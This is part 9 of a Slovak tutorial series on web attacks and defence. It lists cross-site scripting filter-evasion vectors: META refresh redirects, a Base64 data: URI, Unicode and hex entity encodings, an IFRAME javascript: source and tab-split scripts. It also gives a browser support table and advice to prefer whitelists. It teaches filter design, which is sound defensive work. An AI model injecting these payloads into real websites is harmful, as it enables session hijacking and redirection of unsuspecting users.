
WWW hacking a obrana / 9. časť
Tentoraz pokračujeme v predstavovaní rôznych reťazcov, ktoré môže útočník použiť, aby sa mu podarilo injektovať kód. Stále však ešte nepreberáme injektovanie kódu do ošetreného vstupu. Najprv potrebujeme poznať čo najviac možných typov útokov, aby sme vedeli navrhnúť čo najlepší filtračný algoritmus.
Nasledujúce spôsoby sú očíslované v poradí od prvého, ktorý sme si predstavili v predošlej (ôsmej) časti seriálu.
Predstavíme vám ďalších päť spôsobov injektovania kódu. Z toho hneď prvý trik (trik č. 4) nepotrebuje ani skript. Ďalšie spôsoby sú založené na hexadecimálnom a Unicode zápise reťazca. Potom tag <IFRAME> a trik s tabulátorom.
4. spôsob
Tento spôsob je zaujímavý hlavne tým, že nepotrebuje nijaký skript. Tag slúži na viac úkonov, no s obsahom "refresh parametra HTTP-EQUIV prejde na stránku určenú parametrom url.
<META HTTP-EQUIV="refresh" CONTENT="0;url=http://www.nejaka-domena.com">
Hrozba je už na prvý pohľad zrejmá. Ak útočník pošle do webovej aplikácie reťazec, ktorý bude obsahovať tag <META>, podobný tomu predchádzajúcemu, no s obsahom parametra url ukazujúcim na jeho server, kde sa nachádza skript, ktorý odchytí session (reláciu) a používateľa okamžite presmeruje späť, má bez problémov vyhrané. Používateľ si väčšinou nič nevšimne, pretože presmerovanie prebieha rýchlo. Protokolom sa prenáša len malý počet bajtov.
Ďalšie možné podoby tagu <META>:
Tento tag už používa skript
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('Hacked!')">
Tento tag sa takisto pokúsi presmerovať na určenú adresu, ale tentoraz zobrazí správu s textom „Hacked!“.
Výhodná je možnosť zakódovania skriptu pomocou Base64, aby reťazec prešiel filtračným algoritmom:
Reťazec <script>alert("XSS Attack!")</script> vyzerá v zakódovanej forme (Base64) takto:
PHNjcmlwdD5hbGVydCgiWFNTIEF0dGFjayEiKTwvc2NyaXB0Pg0K
A výsledný tag je takýto:
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,
PHNjcmlwdD5hbGVydCgiWFNTIEF0dGFjayEiKTwvc2NyaXB0Pg0K">
Samozrejme, že útočník, ktorý chce viac ako len zobraziť správu „XSS Attack!“, si zakóduje ľubovoľný skript.
5. spôsob
V tomto prípade ide o zápis v Unicode. Všimnite si, že v prvom prípade sú zapísané len cifry v kóde, ktoré sú potrebné, zatiaľ čo v druhom prípade sú pred nimi nuly. Oba spôsoby však fungujú. To spôsobí trochu viac problémov pre filtračný algoritmus (záleží však na tom, akým spôsobom podobné reťazce ošetruje).
Nasledujúci reťazec Unicode obsahuje javascript:alert("XSS").
<IMG SRC=javascript:al
ert('XSS')>
<IMG SRC=javascrip
t:alert('XSS')>
6. spôsob
Ide o klasické hexadecimálne vyjadrenie reťazca. Tag <<IMG> musí byť, samozrejme, zapísaný ako text, ale po tom, ako parser internetového prehliadača vstúpi do tagu a začne parsovať jeho obsah, môže byť obsah vyjadrený aj hexadecimálnym zápisom, ako je to v tomto prípade.
Nasledujúci hexadecimálny reťazec obsahuje javascript:alert("XSS").
<IMG SRC=javascript:ale
rt('XSS')>
Funguje však aj tento kód:
<IMG SRC=javascript:al
ert('XSS')>
7. spôsob
Povolený tag <IFRAME> je veľká príležitosť pre útočníka, pretože na neho veľa programátorov zabúda. Je to hlavne vtedy, ak uprednostňujú tzv. čierny zoznam (black list). To znamená, že pri filtračnom algoritme zakazujú určité tagy namiesto toho, aby určité tagy povolili. Opakom čierneho zoznamu (listiny) je biely zoznam, kde sú definované povolené tagy. Všeobecne sa striktne v oblasti bezpečnosti pri rôznych situáciách odporúča používať biely zoznam namiesto čierneho.
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
8. spôsob
Myslíte si, že nasledujúci tag nemôže fungovať? Ide o tag, v ktorom je reťazec (skript) oddelený na viacerých miestach tabulátorom. Keby filtrovací algoritmus neprihliadal na túto možnosť, injektovanie kódu by sa podarilo.
<IMG SRC="java sc ript:al ert();">
<IMG SRC=" java sc ript:al e r t( );">
<IMG SRC="java sc ript:document.write('Hacked!');">
<IMG SRC="java sc ript:document.location = 'http://www.nejaka-domena.com';">
<IMG SRC="java sc ript:documen t. location = 'http://www.nejaka-domena.com';">
Spôsob č.: |
1 |
2 |
3 |
4 |
5 |
Firefox |
NIE |
ÁNO |
ÁNO |
ÁNO |
ÁNO |
Internet Explorer 6 |
ÁNO |
NIE |
NIE |
ÁNO |
NIE |
Internet Explorer |
NIE |
NIE |
NIE |
ÁNO |
NIE |
Netscape Navigator |
ÁNO |
NIE |
NIE |
ÁNO |
NIE |
Opera |
ÁNO |
ÁNO |
ÁNO |
ÁNO |
ÁNO |
Safari |
ÁNO |
NIE |
NIE |
ÁNO |
NIE |
* Presmerovanie, samozrejme, funguje, ale ak je v parametri url skript, nevykoná sa.
Testované prehliadače:
Mozilla Firefox v. 2.0.0.6 (Mozilla)
Safari 3.0.3 (Apple Inc.)
Microsoft Internet Explorer 6 (Microsoft )
Windows Internet Explorer 7.0 (Microsoft)
Opera 9.23 (Opera Software ASA)
Netscape Navigator 9.0 (Netscape Communications Corporation)
Záver
Predstavili sme vám ďalších päť možných spôsobov, ktorými môže útočník úspešne injektovať kód do webovej aplikácie. Nabudúce vás oboznámime s poslednými spôsobmi. Tieto spôsoby takisto otestujte vo vlastnej webovej aplikácii, aby ste zistili, či je váš filtračný algoritmus úspešný v súboji s týmto kódom. A tým, ktorí na napísanie vlastného filtračného algoritmu nemajú dostatok skúseností, v 11. časti seriálu ukážeme, ako naprogramovať základnú časť takéhoto algoritmu.